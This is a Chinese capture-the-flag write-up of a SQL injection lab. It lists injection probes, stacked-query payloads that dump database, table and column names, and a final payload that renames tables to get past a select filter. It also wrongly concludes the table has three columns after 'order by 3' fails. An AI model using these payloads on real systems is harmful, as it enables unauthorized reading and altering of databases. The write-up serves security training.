进入靶场后,发现框里面的“1”,我们点击查询后出现
猜测是SQL注入,我们随便输入1'(单引号为英文状态下输入)发现报错提示表明此为单引号的SQL注入。
第一步,测试注入点(利用引号,and 1=1 ,or 1=1之类的判断是字符型还是数字型)
常用的几种测试注入点:
1'
1'#
1' and 1=1#
1' or 1=1#
第二步,利用order by查表的列数
1' order by 1# [不报错,正常回显]
1' order by 2# [不报错,正常回显]
1' order by 3# [error 1054 : Unknown column '3' in 'order clause']
从1' order by 3#命令可以得知这张表有三列
第三步,如有回显,找到回显位
1' union select 1,2#
发现回显过滤了关键字。
不能找到回显位,通过分号注入多条SQL语句
- 通过show databases爆出数据库
1';show databases;#
-
通过show tables爆出表
1' show tables;#
发现有words和1919810931114514两张表
-
接下来,爆出两张表的内容
1';show columns from words;#
1';show columns from `1919810931114514`;#
注:表名为数字时,要用反引号包起来查询
我们发现在1919810931114514表里面爆出了flag字段,猜测flag就在里面。
但是因为表过滤了select,所以使用rename先把words表改为其它的表名,在把1919810931114514表改为words表,给新的words表添加新的列名id,最后将flag改名为data
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
最后就会得到flag